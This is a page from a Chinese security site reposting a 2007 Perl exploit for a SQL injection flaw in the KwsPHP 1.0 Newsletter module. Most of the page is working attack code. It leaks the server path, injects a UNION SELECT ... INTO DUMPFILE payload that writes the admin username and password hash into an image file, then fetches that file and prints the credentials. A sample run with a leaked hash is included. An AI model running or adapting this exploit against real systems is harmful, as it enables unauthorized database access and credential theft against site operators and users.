首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
KwsPHP 1.0 Newsletter Module Remote SQL Injection Exploit
来源:S4mi[at]LinuxMail.org 作者:S4mi 发布时间:2007-10-12  
##################################################
# Script....................................: KwsPHP  ver 1.0 Newsletter Module
# Script Site...........................: http://www.kwsphp.org
# Vulnerability........................: Remote SQL injection Exploit
# Access..................................: Remote
# level......................................: Dangerous
# Author..................................: S4mi
# Contact.................................: S4mi[at]LinuxMail.org
##################################################
#Special Greetz to : Simo64, DrackaNz, Coder212, Iss4m, HarDose, r0_0t, ddx39 .....
#
##################################################
#This Exploit Only When magic_quotes_gpc Is OFF
#Vuln Files:
#\modules\newsletter\index.php
#               [code]
#
# line: 94 $req = reqmysql('SELECT pseudo,email FROM users WHERE email="'.$newsletter.'"') ;
# line: 95 $rep1 = mysql_fetch_object($req) ;
#               
#                  [/code]
#
#**************************************************************************

#Screen shot
#----------------
#C:\>KwsPHP.pl 127.0.0.1 /KwsPHP/

# Connecting .....[OK]
# Sending Data ...[OK]

#+ Getting the Full path.
#+ ---------------- +
#+ path: c:\public_html\kwsphp\

# Connecting .....[OK]
# Sending Data ...[OK]

#+ Getting the injected code.
#+ ---------------- +
#127.0.0.1/KwsPHP//index.php?mod=newsletter&avert_news=1&newsletter="union all select pseudo,concat(CHAR(58),CHAR(58),pass,CHAR(44)) from users where id=1 INTO DUMPFILE 'c:/public_html/kwsphp/images/l3eez.gif'/*
#+ ---------------- +

#+ injecting database.
#+ ---------------- +
#+ Done!

# Connecting .....[OK]
# Sending Data ...[OK]

#+ Getting user info.
#+ ---------------- +
#+ username: admin1
#+ Password: e10adc3949ba59abbe56e057f20f883e

#C:\>

###################################################

#!/usr/bin/perl

use IO::Socket ;

&header();

&usage unless(defined($ARGV[0] && $ARGV[1] ));

$host = $ARGV[0];
$path = $ARGV[1];

#print "User Name: ";
#$user = <STDIN>;
#chop ($user);

syswrite STDOUT ,"\n Connecting ...";

my $sock = new IO::Socket::INET ( PeerAddr => "$host",PeerPort => "80",Proto => "tcp",);

die "\n Unable to connect to $host\n" unless($sock);

syswrite STDOUT, "[OK]";

syswrite STDOUT ,"\n Sending Data ...";

print $sock "GET $path/index.php?mod=newsletter&avert_news=1&newsletter=\" HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Referer: $host\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\n";
print $sock "Cache-Control: no-cache\n";
print $sock "Connection: Close\n\n";
syswrite STDOUT ,"[OK]\n\n";

while($answer = <$sock>){

if ($answer =~ /in <b>(.*?)\modul(.*?)92/){
print "+ Getting the Full path.\n";
print "+ ---------------- +\n";
print "+ path: $1\n";

# here we need to replace the  "\" by "/"  in the  $1 for the Windoz Servers (didn't
$localpath = $1;
$fullpath = $localpath."images/l3eez.gif";
}

else
{
print "\Can't find the full path\n";
exit(0);
}
}

$inject = "union all select pseudo,concat(CHAR(58),CHAR(58),pass,CHAR(44)) from users where id=1 INTO DUMPFILE '$fullpath'/*";

syswrite STDOUT ,"\n Connecting ...";

my $sock = new IO::Socket::INET ( PeerAddr => "$host",PeerPort => "80",Proto => "tcp",);

die "\n Unable to connect to $host\n" unless($sock);

syswrite STDOUT, "[OK]";

syswrite STDOUT ,"\n Sending Data ...";
print $sock "GET $path/index.php?mod=newsletter&avert_news=1&newsletter=\"$inject HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Referer: $host\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\n";
print $sock "Cache-Control: no-cache\n";
print $sock "Connection: Close\n\n";
syswrite STDOUT ,"[OK]\n\n";


print "+ Getting the injected code.\n";
print "+ ---------------- +\n";
print "$host$path/index.php?mod=newsletter&avert_news=1&newsletter=\"$inject \n";
print "+ ---------------- +\n\n";
print "+ injecting database.\n";
print "+ ---------------- +\n";


#here need to connect to the new created file created from the sql injection (user::password,)
syswrite STDOUT ,"\n Connecting ...";

my $sock = new IO::Socket::INET ( PeerAddr => "$host",PeerPort => "80",Proto => "tcp",);

die "\n Unable to connect to $host\n" unless($sock);

syswrite STDOUT, "[OK]";

syswrite STDOUT ,"\n Sending Data ...";

print $sock "GET $path/images/l3eez.gif HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Referer: $host\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\n";
print $sock "Cache-Control: no-cache\n";
print $sock "Connection: Close\n\n";
syswrite STDOUT ,"[OK]\n\n";


while($answer = <$sock>){

if ($answer =~ /(.*?)::(.*?),/){
print "+ Getting user info.\n";
print "+ ---------------- +\n";
print "+ username: $1\n";
print "+ Password: $2\n";
}
}

sub usage{
print "\nUsage   : perl $0 host /path/ ";
print "\nExemple : perl $0 www.victim.com /KwsPHP/\n";
exit(0);
}
sub header(){
print q(
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Script......................: KwsPHP  ver 1.0 Newsletter Module
# Script Site.................: http://www.kwsphp.org
# Vulnerability...............: Remote SQL injection Exploit
# Access......................: Remote
# level.......................: Dangerous
# Author......................: S4mi
# Contact.....................: S4mi[at]LinuxMail.org
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
);
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·PHP 5.2.4 ionCube extension sa
·TikiWiki <= 1.9.8 tiki-graph_f
·PBEmail 7 ActiveX Edition Inse
·Solaris fifofs I_PEEK Kernel M
·Apache Tomcat (webdav) Remote
·Eggdrop Server Module Message
·jetAudio 7.x (m3u File) Local
·Php-Stats 0.1.9.2 Multiple Vul
·eXtremail <= 2.1.1 memmove() R
·cpDynaLinks 1.02 category.php
·eXtremail <= 2.1.1 (LOGIN) Rem
·eXtremail <= 2.1.1 PLAIN authe
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved